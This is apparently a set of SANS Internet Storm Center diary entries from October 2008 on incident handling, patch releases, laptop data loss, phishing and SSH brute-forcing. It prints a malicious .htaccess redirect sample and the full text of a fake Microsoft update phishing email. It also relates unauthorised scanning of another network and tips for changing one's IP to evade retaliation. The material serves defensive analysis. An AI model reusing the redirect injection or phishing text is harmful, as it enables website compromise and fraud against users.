Prevention is the best cure, but some infections can't be helped.  Make sure that your organisation has the processes in place to deal with them as it makes life much easier.   If you are infected spend some time identifying the vectors used and also consider other vectors.  There is nothing more frustrating than cleaning up an environment and have it reinfected in a few minutes because you forgot your VPN users.

These are a few of the things I have seen that people use to contain an outbreak. What do you do?  let us know and we'll add the info to the list.

Mark - Shearwater

Several readers have let us know that the Adobe Flash version 10 was released today.  One of the big advantages of new version seems to be the bug fix with interoperability with Firefox.   You can read about it here.  

As far as the security features, they discuss this on one of their dev pages.  Be sure to take a gander as some of the security changes require action on your part.  Adobe says..... "Some of these changes may require existing content to be updated to comply with stricter security rules. Other changes introduce new abilities that were previously unavailable or restricted by security rules."

You can get the download for version 10.0.12.36 here.

Mari Nichols  iMarSolutions

With disks becoming increasingly large and ridiculously cheap, data is becoming more and more mobile. The ramifications of the loss of that data can be huge. In the recent past there have been large losses of personal and private information in virtually every sector as a result of the loss or theft of laptops. I myself recently received a letter from a banking institution informing me that a laptop computer containing mortgage information had been stolen from the bank that provides my mortgage. To dispell my fears they have added a note to my file at all the credit bureaus. I would rather they would have protected the information properly in the first place.

Which brings us to the question of the day...What can be done to contain the damage of a lost or stolen laptop?

Suggestions will be summarized throughout the day!

Thanks to all who responded. The responses seemed to fit into three general categories.

Encryption:

Mark..."There's a simple solution, properly implemented full disk encryption on all laptops and all removable media. Lose the laptop and lose nothing but the laptop with no worries. With the enterprise solutions available today, it's a lot easier and significantly cheaper than it was a few years ago."

Dan..."We use full disk encryption for all laptops used at the Hospital (Hospital-owned and privately-owned)...Under many state laws, the loss of encrypted data on a laptop is not considered to be a breach of private information, provided the encryption/decryption key is not also exposed."

Parth..."BitLocker / EFS / Hardware authentication assisted EFS [point 1.]

Thank you Microsoft (for once) - Data Encryption Toolkit for Mobile PCs Guide - http://www.microsoft.com/downloads/details.aspx?FamilyId=1A99576A-FE67-418F-88B1-81E2055FE977&displaylang=en

Also many OEM's offer laptop tracking capabilities we use it in case of L1 (Chief [Department here])

FOR all IT Dept. and / or people with good enough computer knowledge - TrueCrypt and a 40 / 80 Gig partition to store all their data on. Also having an option to enroll into this and helping user get educated and acquainted with TrueCrpt for storing data. "

Drew..."One way to contain damage is to encrypt the drive. The product should to a full partition encryption with a boot-sector replacement that PREVENTS the OS from booting without first getting through the onboard boot agent. These agents usually require a separate password, but some integrate with token FOBs (recommended for 2nd factor). Utilizing encryption after the OS boots is preferable to no encryption of protected data, but can ultimately be defeated through memory analysis, product and OS weaknesses."

Drew..."We also recommend to our users to keep critical business data stored encrypted on removable media, like a USB drive with AES encryption...The guidelines specify to carry the thumbdrive separately from the laptop bag to discourage loss via casual theft."

GaryK..."We use a several different methods. Our primary one is using...encrypted harddrives. After 10 unsuccessful attempts at login, the drive is the locked and cannot be accessed without punching in the insanely long master key."

Laptop tracking/phone home:

Micheal..."While not directly related to containing the damage, there are a couple of opensource (and therefore free) lojack systems available. One such one is from the University of Washington, found at http://adeona.cs.washington.edu/

It purports to have features such as taking pictures of the person using the laptop (Mac OSX for now, hopefully they'll start supporting Windows). It isn't particularly stealthy right now, but it seems to work."

Drew..."Speaking of... We also recommend a phone-home feature on our laptops... This enables the org track a laptop listed as stolen historically, what IP it has, and sometimes perform geo-location. The client should have the ability to reverse-resolve a NAT'd IP by querying a known server on the Internet (like the tracer server). Procedures should be established, verified, and tested to contact and engage law enforcement in a collection action using this system."

GaryK..."there should also be a way to track stolen laptops. This feature should be an "addon" feature to squelch any concens about trageting people while traveling. "

Data restriction

GaryK..."Typically laptops with critical information SHOULD stay at one location and not move too much. Why carry all that information around? Its like having carrying your life saving around in a gym bag. It simply makes no sense. Its better to have a server with the critical info available for corporate people to access than to carry that info around."

Parth..."Also having company data bank ...by allowing user to login to company website (two factor authentication) and allowing them access to their *authorized* data. For this we have pushed out GP that saves all data on the data bank and not locally on the laptop. "

Other ideas:

Elton..."a recent update from the UK Government Centre for the Protection of National Infrastructure at http://www.cpni.gov.uk/WhatsNew/3692.aspx
"How to protect Information Assets from theft and exfiltration by Third Parties and Contractors"

Parth..."Hardware based authentication (Bio and / or smartcards)."

-- Rick Wanner - rwanner at isc dot sans dot org

Oracle released it's quarterly accumulated patches today.

For those that do patch their databases, I'd suggest you round up your DBAs and run over these with them as well as your server administrators who'll get potentially a lot more work as well on "reboot wednesday".

Oracle released fixes for:

• Oracle Database (9 vulnerabilities),
• Oracle Application Server (7 vulnerabilities),
• Oracle Collaboration Suite (1 vulnerability),
• Oracle E-Business Suite and Applications (5 vulnerabilities),
• Oracle enterprise manager (2 vulnerabilities),
• Oracle PeopleSoft and JD Edwards Applications (5 vulnerabilites),
• Oracle Siebel (6 vulnerabilities), or
• BEA Product Suite (6 vulnerabilities)

If you run any of them, you need to review the fixes available. Oracle does provide CVSS ratings for the vulnerabilities.

When two monster patch cycles collide on the same day, I guess a few will get overworked. Same thing is likely to reoccur on their next scheduled release on January 13th, 2009.

--
Swa Frantzen -- Section 66

Overview of the October 2008 Microsoft patches and their status.

--
Swa Frantzen -- Section 66

Containing a IDtheft incident can be seen from multiple sides.

The organization leaking the sensitive information by accident

As always being prepared is key to reacting properly. Randy wrote: "An organization must identify and classify personally identifiable information (PII) in order to contain the accidental disclosure that could result in consumers being exposed to identity theft." Information processing for such information could be segregated from the mainstream of the systems and be placed under closer monitoring and tighter security measures.

But if it does go wrong you need an action plan involving key stakeholders in order to abide local laws and regulations as well as protect the interests of the individuals who confided the sensitive data to the organization. Randy goes on: "This data breach plan should be be tested much like a disaster recovery plan to ensure that each team member understands their role."

Still how do you plan to contain a breach?

Depending on what was identified as leaked, the plan should at least consider how to most effectively

• Consider requirements form a legal and regulatory viewpoint
• Communicate the problem to affected individuals so they can assist from their end
• Offer some sort of protection to the affected individuals
• Cover any wanted or unwanted media attention appropriately
• Work with authorities and law enforcement

The individual having his personal information exposed.

What better to learn than from a victim. 

Living in a county where the issue is much more privacy, not by far not so much IDtheft (we have decent ways to authenticate ourselves), I'm counting on your feedback on how you plan to contain such incidents, and will update it with submssions we receive.

--
Swa Frantzen -- Section 66

The topic for today is how to perform containment on a 'mision critical' service or system that your organization depends on, and cannot be shut down? There are many examples of systems that are in production, and under normal circumstances an operational team can't pull the plug. Web servers that are the primary sales vehicle, legacy systems that no one understands,  the backend database that has EVERYTHING on it, the email servers, and the list goes on. In the event that an incident occurs on a normal system normally we can pull the plug to stop the bleeding and move on. However, if downing that box will be career limiting, and allowing the incident to continue is almost as bad, what to do?

I'll summarise suggestions here.

Francois write in "This doesn't speak directly to security incidents, but ... This situation showcases a vulnerability on the business side, and highlights a flaw in business thinking. The vulnerability is neglecting to plan. Incidents like this are the reason we have disaster recovery and business continuity plans. Downtime is inevitable, the only controllable factor is how we respond.

We all see systems fail for one reason or another. Mostly these issues aren't security related. The flaws in business thinking: business continuity and disaster are the sole responsibility of security or IT. From the business owner's standpoint, it doesn't matter why systems go down. The business concern is staying in business. Which means that concern needs to be addressed by business people. It's not just for the security or IT department.

If a system is 100% business-critical with no downtime allowed, the business owners need to understand the ramifications and risks. You wouldn't build your office on a flood plain. You wouldn't trust your accounting books to a known crook. Neither should you risk your infrastructure - financial, IT or otherwise.

A businessperson doesn't need to be an IT expert to understand risk. They just need to understand that the risk is there, and solid risk management is needed.

In my view if a business can't manage risk, it doesn't matter where the risk falls, it's a flaw on the part of the decision makers - not the responder. Security staff is there to help manage those risks, not to absorb bullets."

From my own perspective and experience, containment has always been a business decision. So long as management are aware of the risks of remainin in operation rather than taking the system/network/application down then operational staff must abide by that choice.

Cheers,
Adrien de Beaupré
intru-shun.ca

Yum, turkey and all the fixings. Happy Thanksgiving, I know that I have much to be thankful for.

Cheers,
Adrien de Beaupré
intru-shun.ca

Unfortunately we work events and incidents every day.  Some are worse than others, but the one rule of incident handling is that every incident must be handled as if it were going to end up in court.  Gathering evidence should begin as soon as it is identified. 

Every incident handler should have a bound incident log book with numbered pages.  Once you begin to work an incident, record every detail into the journal.  Every handler should be recording their efforts, too.  This becomes collaberative evidence in court.  Make sure to date and initial every entry. 

The next evidence gathering technique is the bit-by-bit backup.  Before you start working on the system, it is imperative that a backup is made.  Some people are taking the hard drive out and replacing it, using the original as the backup.  This is probably the best method if you have spare hard drives, but if you don't you must make a binary backup.  A binary backup preserves all the evidence including deleted and fragmentary files. 

One of the most popular tools is "dd".  It comes in most Unix and Linux distributions.  A Windows version can be found here.   Be sure to practice with your incident response team and help desk personnel, as making a backup under pressure can be more difficult than you think.

If you have more tips for gathering evidence, send them to us here and we'll pass them along.

Mari Nichols   iMarSolutions

 

Well, today is Day 11 of the Cyber Security Awareness Month and the last day of Identification.

We have covered in the last few days the more common methods of deciding that an event is actually an incident, including:

• Events versus Incidents
• Network-based Intrusion Detection Systems
• Host-based Intrusion Detection Systems
• Global Incident Awareness
• Log and Audit Analysis
• Using Your Help Desk to Identify Security Incidents

But today, we're interesting in hearing your stories from the field on unusual, interesting, and even funny stories of how you made the decision point of moving from event to incident. Drop us a note via the contact form, and we'll update the diary as we go along

Posted a couple days ago, Apple Security Update 2008-007, provides fixes for at least 40 different vulnerabilites and bug fixes in OSX.  The software packages that were updated include:

Apache (Updates to 2.2.9)

Certificates (Updates to root certificates)

ClamAV  (Updates to 0.94)

ColorSync

CUPS

Finder

launchd

libxslt

MySQL Server

Networking

PHP (Updates to 4.4.9)

Postfix

PSNormalizer

Quicklook

rlogin

Script Editor

Single Sign-On

Tomcat (Updates to 6.0.18)

vim (Updates to 7.2.0.22)

Weblog

Thanks to those who wrote in.  We appreciate it.  So if you have an OSX Machine, go ahead and start patching.  I've updated 4 machines already with it, and it works fine.

-- Joel Esler http://www.joelesler.net

Several readers wrote us today pointing out the Fox News story about cyber attacks against the World Bank.  There are a lot of details in the Fox News report, but no other independent confirmation of the story.  A recent update to the online story says this:

UPDATE: After FOX News published its story, a World Bank spokesman issued the following statement:

"The Fox News story is wrong and is riddled with falsehoods and errors. The story cites misinformation from unattributed sources and leaked emails that are taken out of context.

"Like other public and private institutions, the World Bank has repeatedly experienced hacking attacks on its computer systems and is constantly updating its security to defeat these. But at no point has a hacking attack accessed sensitive information in the World Bank's Treasury, procurement, anti-corruption or human resources departments."

If you are aware of any other reports (not based on or pointing to the original Fox News story) please let us know via our contact page.

Marcus Sachs
Director, SANS Internet Storm Center

Several readers have alerted us to a fake Microsoft email circulating with a malicious attachment.  If you are blocking executables at your email servers, there should not be a problem.  The email looks like this, but might vary a bit:

Subject:        Security Update for OS Microsoft Windows
From:           "Microsoft Official Update Center" <securityassurance@microsoft.com>

Dear Microsoft Customer,

Please notice that Microsoft company has recently issued a Security Update for OS
Microsoft Windows. The update applies to the following OS versions: Microsoft
Windows 98, Microsoft Windows 2000, Microsoft Windows Millenium, Microsoft Windows
XP, Microsoft Windows Vista.

Please notice, that present update applies to high-priority updates category. In
order to help protect your computer against security threats and performance
problems, we strongly recommend you to install this update.

Since public distribution of this Update through the official website
http://www.microsoft.com would have result in efficient creation of a malicious
software, we made a decision to issue an experimental private version of an update
for all Microsoft Windows OS users.

As your computer is set to receive notifications when new updates are available, you
have received this notice.

In order to start the update, please follow the step-by-step instruction:
1. Run the file, that you have received along with this message.
2. Carefully follow all the instructions you see on the screen.

If nothing changes after you have run the file, probably in the settings of your OS
you have an indication to run all the updates at a background routine. In that case,
at this point the upgrade of your OS will be finished.

We apologize for any inconvenience this back order may be causing you.


Thank you,

Steve Lipner
Director of Security Assurance
Microsoft Corp.


-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1

3L0SDPQYESHKTVB7P898LE266163YL

Richard, one of our readers, sent us a very interesting note today.  He was investigating a network in Germany that was known to be a source of evil, and decided to launch an nmap scan as an exploratory measure.  We do not advocate scanning somebody else's network, even you find that the other network is irritating and disfunctional.  Better to work with that network's upstream ISP to see if they can assist in taming the out of control network owners.

Here are Richard's comments.  Do not try this from your own corporate network  The results may be hazardous to your job.

     On the evening of October 7th, I Nmapped a /24 out of Germany that was a known source of malware and general nefarious activities. I saw the usual ports open 22, 53, 80 on most of the machines I scanned.
    After the scan had stopped I closed the command prompt and began to read some late night email. I just happened to glance at my router and saw the receive lights were almost solid green. I opened my web browser and try to get out to the public network and could not, I suspected something was happening and it was.
     The machines I had scanned were launching as DDoS against my IP address and had basically shut me off from the rest of the world. I turned the interface down and went to bed thinking it might clear up after a while.
    I checked at 3:00 am, and 5:30 am and the attack was still on.
    I logged into my router to look at some logs and could see that the machines were still pumping junk down the wire so I called my upstream and they were of no help at all. It took two hours on the phone before I realized that they were not going to be able to help me so here is what I did:
    Thinking that whoever wrote the [attack] script was bright enough to include resource conservation into their code I figured if I remove all physical connection to the ISP at my house, the script would eventually sense that there no longer was a live host at the other end and it would stop. I wish I had tried this first instead of wasting my time on the phone with my useless ISP. It worked and we were back up after about ten minutes of being uncabled.
     Just to make sure I was correct I went through a second run of this and the exact same thing happened. From this I have learned two things, have a good relationship with your upstrreams and be careful what you do late at night.

UPDATE 1

Reader Neal sent us some technical tips on how he gets around the problem Richard pointed out above.

After I scan something, or if I suspect I gave out my IP address to someone hostile (email, IRC, etc.), then I immediately change my address BEFORE they have a chance to scan back.

There are a couple of different ways to change your IP address...

Modem: hang up and call back. If your ISP has a phone pool, then you're hopefully on a new address. (Then again, hopefully you're not scanning some /24 from a modem...)

Cable modem: I love this -- the networked DHCP address is actually NOT tied to your account. Your cable modem has a MAC address and non-routable DHCP address that is tied to your account. All you need to do is change your routable network address:

1. Login to your external firewall (you do have an external firewall, like a Linksys or Dlink, right?).  Change the WAN MAC address.  However, do NOT commit the change yet!  If you reset it now, then you will be unable to connect to your cable modem...

2. Login to your cable modem and click on the reboot/restart button. This causes it to forget the firewall's MAC address.

3. While the cable modem is shutting down/rebooting, commit the new WAN MAC address to your firewall.

When the cable modem comes up, it will learn the new WAN MAC address from your firewall. This new MAC address will be assigned a new, routable IP address from the cable modem ISP.  You now have a totally new external IP address.  Total offline time should be around 15 seconds.  (I've got it scripted!)

DSL modem: I don't have one, but I'm told it is a similar approach to cable modems or telephone modems (depending on your ISP).

If you have a T1 or T3 or static IP address?  You're screwed.  I recommend playing from a cable modem or DSL where you can change your address.

Marcus H. Sachs
Director, SANS Internet Storm Center

For the tenth day of Cyber Security Awareness Month we remind our readers that one of the best ways to identify problems in your network is to let your employee or customer help desk be the equivalent of a "human intrusion detection system".  When they get more than two or three calls about the same problem, the help desk should be notifying the security team about what is going on.  It might not be an incident that needs handling, but it's definitely an event that deserves watching.

Do you have a good relationship with your help desk staff?  Do you include them in your security planning and preparation, especially as potential sources of information about the security posture of your networks?  What steps have you taken to train your organization's help desk to recognize emerging security incidents?

Send us your ideas and comments via our contact form and we'll add them to this diary throughout the day.

Marcus H. Sachs
Director, SANS Internet Storm Center

The bad guys behind the Antivirus 2008/2009 malware have been recently using a pretty sneaky tactics for redirecting people to their fake web sites.
We actually received a report about this back at the beginning of September (so this has been in the wild for at least a month) by our reader John R, but somehow we missed to write a diary about it.

In this latest scheme of attacks, attackers are abusing the RewriteEngine feature in Apache web servers. This feature can be activated through the .htaccess access control file. This file is usually located in the top directory of a web server and in incidents that have been detected so far it appears that the file has been put with stolen FTP credentials.
One sample .htaccess file is shown below:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://BAD_SITE/in.html?s=hg [R,L]
Errordocument 404 http://BAD_SITE/in.html?s=hg_err

Such a .htaccess file first enables the RewriteEngine and then defines 6 condition rules, followed by a RewriteRule. The condition rules check the referer header (%{HTTP_REFERER} and compare it with a regexp that follows. As you can see, the attackers are catching most common search engines. For those not familiar with the rewrite rules above: NC means no case (case insensitive), OR is just a logical OR with the next statement. If any condition matched, the RewriteRule statement is executed. In this sample, it redirected the browser to a bad site ([R,L] in the RewriteRule means force redirect, last rule).

As you can see, this is very sneaky – if you visit the compromised web site directly, everything will work as it's supposed to. However, if you search for something and the search engine shows you a link to the compromised web site, when you click on it you will be redirected to the bad site because your browser will send the referer header which will match one of the condition rules.

If you have a web site make sure that you are using strong credentials when you modify the contents and that you do that from a safe environment. If anyone from a web hosting company is reading this – check .htaccess files used on your web site (or better yet, disable them if you don't need them). Finally, make sure that you have proper security on the file level, so mass defacements like the one I described at http://isc.sans.org/diary.html?storyid=3078 can't happen.

--
Bojan

For the ninth day of Cyber Security Awareness Month we will consider how you can use log and audit analysis to identify an intrusion or incident.  Remember that in step one, Preparation, you should be putting in place automatic logging facilities so that you'll have the ability to look backwards in time to reconstruct an incident.  But what about using those logging facilities to detect an event or series of events that can rise to the level of an incident? 

The classic example of using log analysis to identify a problem is the story behind The Cuckoo's Egg, one of the most popular books on computer security investigations.  By the way, that story is twenty years old now, but if you read the book today it's almost like it could have been written in the past few years because so many of the problems and techniques are still common today.  For a more contemporary essay, see Roger Meyer's GIAC paper in the SANS Reading Room where he explains how he used web application logs to identify an intrusion.

If you have uncovered an incident using log or audit analysis, please send us a note using our contact form and tell us about it.  We'll share your stories with other readers throughout the day by adding them to this diary.

UPDATE 1

An anonymous reader sent us this:

After doing some research on common/popular trojans which steal confidential information in order to:
  1. confirm the IDS systems are doing what they're supposed to
  2. collect communication patterns for behavioral analysis and heuristics

It was decided to test how well these heuristics work.  With couple of simple scripts pattern matches were applied to logs from organization's web proxy infrastructure and uncovered several infected devices which constantly stole any form based data.

Lessons Learned: any kind of additional information about a threat from public or other sources should be, to the extent possible, checked against previously logged data to identify if anything was missed by current security infrastructure.

Marcus H. Sachs
Director, SANS Internet Storm Center

Some name servers hosted by Godaddy deliver somewhat odd results, similar from what you would expect to see as a result of a DNS hijacking attack. Any query to ns51.domaincontrol.com and ns52.domaincontrol.com returns the same IP address (68.178.232.99) and additional information making these two domain servers authoritative for .com or .org respectively.

I added an example "dig" output below.

Please note, that a DNS resolver should ignore the additional information, as it is "out of bailiwick". But we have a report that this actually caused a DNS server to be poisoned (still trying to figure out why). At this point, the poisoning doesn't look malicious. The IP address will lead you to the default GoDaddy "Parked Domain" page. It is possible that GoDaddy made itself "authoritative" for .com / .org to more easily redirect users to these parked pages.

domaincontrol.com is registered to "Wild West Domains, Inc.". The servers are hosted in GoDaddy IP space.

Example dig output:

dig @ns52.domaincontrol.com www.yahoo.com

; <<>> DiG 9.4.2-P1 <<>> @ns52.domaincontrol.com www.yahoo.com
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17600
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;www.yahoo.com.            IN    A

;; ANSWER SECTION:
www.yahoo.com.        3600    IN    A    68.178.232.99

;; AUTHORITY SECTION:
com.            3600    IN    NS    ns51.domaincontrol.com.
com.            3600    IN    NS    ns52.domaincontrol.com.

;; Query time: 50 msec
;; SERVER: 208.109.255.26#53(208.109.255.26)
;; WHEN: Wed Oct  8 11:26:49 2008
;; MSG SIZE  rcvd: 99

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

Today, we will discuss "Global Incident Awareness". I will split this topic into two parts: First of all, if you are part of an organization with offices in multiple countries, what resources do you use to understand how to deal with incidents in various areas of the world, and are there any particular tricks you use to communicate and stay in touch? Secondly, what tools / websites do you use to stay in touch with the world around you. This includes incidents outsides of cyber space that may affect your network operations (earth quakes, political unrest ...).

As before, please use our contact page to submit your suggestions. I will update this page a couple times today as submissions are received.

Update:

Reader Liam wrote in with the following recommendations for a global organisation:

One of the first tasks that we had performed was to conduct a global skills assessment for each country in the areas of computer forensics, malware analysis, incident response, etc.  This information was used to define a core group of subject matter expert contacts from each region that participate in regular mock incident exercises and training scenarios focusing on sharing best practice ideas allowing us to move away from teams working in silos where there is no effective process of data capture and sharing of best practice or the opportunity to learn from mistakes in a blame-free environment.

For global communications we are using an incident paging service for instant global communication relating to incident notification.  Early on in the mock incident exercises, we discovered that using a crisis line proved difficult for many of the team members in regions that do not have access to dial international numbers from their home or mobile.  It was also noted that the level of participation on the calls was somewhat limited due to possible language barriers and cultural differences.  We were successfully able to address these issues by using web conferencing from WebEx which was already used by the company for conducting regular web meetings.

Using web conferencing communication quickly removed the difficulties with conducting the phone calls and provided a few other benefits such as:

• The website which is accessible from any internet connection provides a chat option that makes it easier to communicate with each other preventing background noise, dropped calls, poor connections and possible language barriers.
• The limited participation on the phone calls was greatly reduced when using the chat option as participants were more open to contributing.
• The ability to share/view the desktop of the impacted regions made it much easier to understand what the details of the incident were.
• The chat option provided a simple archive/transcript of events and ideas that can be used for follow up and during the lessons learned phase.
• sessions can be set up in a matter of minutes and allow you to view who has joined the conference, preventing the confusion that can occur with a telephone crisis call with trying to conduct a periodic role call to see if certain individuals have joined.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

A paper on fastflux malware: http://honeyblog.org/junkyard/paper/fastflux-malware08.pdf

A cheat-sheet on malware reversing from fellow handler Lenny Zeltser: http://www.zeltser.com/reverse-malware/reverse-malware-cheat-sheet.html

A malware challenge site for those wanting to sharpen their skills: http://www.malwarechallenge.info/

Host-based IDS can be a powerful tool for identifying potential incidents.  There are some major advantages in host-
based IDS over network-based IDS such as target-specific knowledge, identifying file modifications, and identifying rootkits that use encrypted network communication channels.  However, the additional features usually result in additional maintenance and alerts.

How do you use host-based IDS to identify suspicious activity?  Is there any organizations that rely solely on host-based IDS while ignoring network-based IDS?  Since host-based IDS should be able to provide more concrete evidence that a host has been compromised - do you sometimes move straight to a forensic evaluation of the host upon receiving alerts from a host-based IDS?  Is anyone using honeypots (or known-vulnerable hosts) anymore as an input to their host-based IDS systems for identifying targetted attacks?

Please send us your thoughts and comments via our contact page.  We will update the diary as new submissions come in.

Justin reports that Cogent is having peering problems, which seem to be confirmed here: http://www.internetpulse.net/.  We will keep an eye on it and update this story as the day progresses.

Novell released an update to eDirectory last week and this morning US-CERT recommends updating as soon as possible.  To quote the advisory, "US-CERT encourages users to review Novell document 3477912 and apply any necessary patches to help mitigate the risks."  Thanx, Roseman for alerting us to this one..

References:

http://www.us-cert.gov/current/current_activity.html#novell_releases_edirectory_version_8

http://www.novell.com/support/viewContent.do?externalId=3477912

http://download.novell.com/index.jsp?tab=patches&page_num=1&families=2597&date_start=06%20Oct%202008&product_id=&keywords=&version=14798&date_range=&y=8

One of the sources we use to identify incidents is the network-based intrusion detection system (NIDS) that most of our enterprises have, at least at the border, at our known internet connections.  The NIDS, however, can be pretty noisy, how do we turn the noise into actionable data?  How much access does the incident handler have to the raw NIDS data?  As Steve pointed out yesterday, the alerts from the NIDS are just events, they don't become an incident (usually) until these events have been correlated with other data.  How do you use NIDS data to indentify incidents requiring activation of your IH process?  Let us know via the contact page and this story will be updated throughout the day.

 

Update 1:

From David:  This is a great question, but I'm really interested in the answer to a related question: "How do you use non-NIDS data to validate NIDS alerts?"  I don't have to tell you guys that the amount of data that comes from a single alert is sometimes very skimpy, and doesn't always provide good decision-making support.

As I evaluate an alert, I routinely ask myself a series of questions, then try to find the answers.  In most cases, the questions are something like:

1. Was this an actual attack?
2. If so, was the attack successful?
3. What other systems may also have been attacked?
4. What activities did the intruder try to carry out?
5. What other resources were they able to gain access to?
6. How should we contain, eradicate and recover from the intrusion?

Most of these questions are difficult to answer just by looking at an individual alert, but I can usually answer them quite easily (and quickly) by examining sessions and/or PCAP data.  Well, except for #6, which is usually pretty tricky.  

I'm curious to know what your other readers are doing to validate their NIDS alerts, even before they feed into the incident handling processes. 

So, what do you think?  Keep the thoughts and ideas coming.  Over the next couple of days, we will be looking at some other non-NIDS sources for identification, but there's no reason we can't start some of that conversation today.

Welcome to day 5 of the Cyber Security Awareness Month and the first day of what is the second half of the steady state that incident handling teams work in. When everything in the Incident Handling world is good, handlers rotate around the step Preparation and Identification. But what triggers the move to step 3, containment?

This is why today we discuss Events versus Incidents.

An event is the name given to the pieces of information which flow into you incident handling process.

An incident is the event which triggers when you determine that an event is malicious.

So, how does your incident team perform this crucial task so you know you've not missed anything? What hints and tips can you give your fellow incident handlers to improve their detect rate, or to make the job easier?

What questions do you ask of the event reporter which improves your decision making? How do you gather this information?

Drop me a note during today, and I'll update the diary with your advice!

Update:

Janantha wrote in saying:

I assume that in the preparation you have compiled a list of Windows Event Id's that are related to popular incidents. Also if your in Linux you know the Regex to parse through the log files.

1. Make a habit to review the log files daily or regularly! Also keep in mind of attack patterns so you recognize attacks just by browsing through the event log!

2. Look for critical event id's that may have indicate irregular behavior. You can do this by using tools like Event log explorer which is free of charge as it provides powerful interface to sort your events and go through them in a proper manner.

3.Cross reference multiple logs (firewall logs) to verify if the event is actually an event that is worth taking any action!.

For the fourth day of Cyber Security Awareness Month we will look at how to build a response kit.  When you or your team get notified about an incident, what do you bring with you?  In the preparation phase you want to think about putting together a physical and virtual kit that contains the tools you need when investigating an incident.  

Jim Murray submitted a GIAC paper last year on incident handling and gave this advice:

Build your response kit - This can be a duffle bag or a small carry-on suitcase. Regardless of what it is, this is what you have with you whenever you work an incident. You want to make sure that you spend enough time putting this together, so that you are ready at a moment's notice. You should never steal from your response kit. Sometimes we are testing something or working on an issue and we need a network cable or installation software and know it is there in our response kit. We tell ourselves that we are just going to borrow it and put it back as soon as we are done. Don't do it because you know it will never make it back there. Here is a list of things that you should consider having in your response kit:

• Network cables—Include various sizes, both crossover and straight-through
• A small hub or tap
• USB jump drive or external hard drive
• Response laptop-This laptop should have everything you need on it, for instance, checklists, forms, response software
• Various peripheral cables—USB, Firewire, parallel, serial, console, and so on
• Clean binaries and diagnostic software
• Call list
• Notebooks, pens, pencils, and small audio recorder
• Plastic/anti-static bags for evidence
• Forensic software and imaging media
• Blank CDs for burning software from the response laptop

If you have built a response kit and have any anecdotes or ideas you can share please send them to us via our contact page.  We will update this diary with your comments and thoughts throughout the day, so start sending them in.

Marcus H. Sachs
Director, SANS Internet Storm Center

VMware released the following new and updated security advisories on October 4th:

 - VMSA-2008-0016 (new advisory)
  http://www.vmware.com/security/advisories/VMSA-2008-0016.html
  http://lists.vmware.com/pipermail/security-announce/2008/000037.html

 - VMSA-2008-0014.2 (updated advisory)
  http://www.vmware.com/security/advisories/VMSA-2008-0014.html 
  http://lists.vmware.com/pipermail/security-announce/2008/000038.html

These advisories list security issues that have been fixed in the following releases:

- VirtualCenter 2.5 Update 3 released on 10/3/08
- patches for ESXi and ESX 3.5 released on 10/3/08
- patches for ESX 3.0.1, 3.0.2, 3.0.3 released on 9/30/08
- new versions of VMware Workstation, Player, ACE, Server released on 7/28/08

The corresponding new blog entry is linked from http://www.vmware.com/security/

Please contact security@vmware.com if you have any questions.

Marcus H. Sachs
Director, SANS Internet Storm Center

The world financial crisis has lead to a lot of changes, corporations buy out one another, merging and also all sorts of structural changes are happening for the finanical companies to stay afloat. These changes are having impact on some of the online attacks as well. As reported by multiple sources, the phishers are currently leveraging the opportunity to craft persuasive phish email such as this and this. We are sure to see more of these phishing Emails.

For the long term, the consolidations in the financial sector especially in the US will make phishing easier. The bigger the banks in a country, the easier the phishing operation. As big banks merge together to form mega-banks, it helps the phishers to reach the right group of clients. For example, in the past, every 100 people who received the phish Email, only 5 are customers of a specific bank. After the consolidation, 12 are customers of that bank. This type of situation had been seen in UK and Australia in the past due to the smaller number of banks in these countries. As banks start to consolidates everywhere in the world, this might happen in the US as well.

Jason Lam

For the third day of Cyber Security Awareness Month we will look at the practice of building checklists for use in incident handling.  If you are part of a response team and have any anecdotes you can share please send them to us via our contact page. Here are some questions that frame what we are looking for:

- What are some useful checklists to be used in incident handling?
- What are some good resources on the Internet for checlists?
- How tightly or loosely do you follow the checklist?
- How to handle incidents that are not covered by checklist?

Checklists are essential to incident handling. During an incident, the stress level are high and a million things can happen in short period time. Checklists can help incident handlers to ensure all essential incident process are covered, keeping the incident handlers on the right track. SANS SCORE project provides various checklist and incident handling forms that are useful for incident handlers.

We will update this diary with your comments and thoughts throughout the day, so start sending them in.

Update 1:

A reader - GaryK, wrote in and pointed us some helpful resources on this topic,

- incident handling checklist at cert.org
- Incident Handling Steps at Texas A&M University
- Many good links on this page, specifically relevant to this topic is the Sun Microsystem Blueprint online, Securityfocus.com incident articles.

Koos writes in with some logs of distributed SSH scanning with the following characteristics.  Usernames are being brute forced starting at "aaa" and incremented.  This is being done in a distributed manner with almost perfect synchronization between the scanning hosts.  Over the last 32 hours, his system received 216 login attempts of which 138 attempts were from unique IP addresses.  Obviously, the attacker is trying to avoid the popular SSH banning scripts by going under the banning thresholds of these programs.  At peak, there was only 20 total attempts per hour.

Note that the username guessing did not actually cover all possibilities.  Perhaps it is a bug, or by design.  The last letter was not being exhaustively tested - only about 10 of 26 letters were being tested in the last position, and it seemed to be randomly picked.
 

For the second day of Cyber Security Awareness Month we will look at how to build a response team.  If you are part of a response team and have any anecdotes you can share please send them to us via our contact page.  Here are some questions that frame what we are looking for:

- What does your team look like in terms of skill sets? 
- How did you recruit and staff it? 
- Does it answer to the CIO side of your organization?  If not, then where is it?
- Do you outsource your team? 
- How do you train them? 
- What does your budget look like?

We will update this diary with your comments and thoughts throughout the day, so start sending them in.

Marcus H. Sachs
SANS Internet Storm Center

Just a few items that came in through the Handler's mailbox today:

TCP Vulnerabilities

